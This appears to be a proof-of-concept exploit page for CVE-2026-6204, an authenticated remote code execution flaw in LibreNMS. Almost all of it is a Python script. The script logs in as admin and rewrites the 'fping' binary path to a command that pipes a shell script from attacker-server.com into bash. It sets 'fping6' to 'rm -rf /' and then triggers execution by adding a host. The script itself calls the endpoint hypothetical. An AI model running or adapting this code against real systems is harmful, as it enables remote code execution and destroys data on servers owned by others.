CVE-2026-6204 LibreNMS 认证远程代码执行漏洞

# PoC Concept for CVE-2026-6204 # This script demonstrates how an authenticated admin might exploit the Binary Location configuration. import requests # Target configuration target_url = "http://librenms-example.com" username = "admin" password = "your_admin_password" # Initialize session session = requests.Session() # 1. Login to obtain session cookie login_payload = { "username": username, "password": password } session.post(f"{target_url}/login", data=login_payload) # 2. Update Binary Location configuration # Exploit: Changing 'fping' path to a malicious command # Depending on the specific UI/API endpoint, the parameter names may vary. config_payload = { "fping": "/bin/bash -c 'curl http://attacker-server.com/shell.sh | bash'", "fping6": "/bin/bash -c 'rm -rf /'" # Example of destructive command } # Sending the configuration update request # Endpoint is hypothetical based on standard LibreNMS structure response = session.post(f"{target_url}/settings/ binaries/update", data=config_payload) if response.status_code == 200: print("[+] Configuration updated successfully.") # 3. Trigger Exploitation # Force LibreNMS to execute the Netcommand (e.g., by adding a dummy device) trigger_payload = { "hostname": "192.168.1.100", "type": "server", "snmp": "on" } session.post(f"{target_url}/addhost", data=trigger_payload) print("[+] Triggered Netcommand. Check your listener.") else: print("[-] Failed to update configuration.")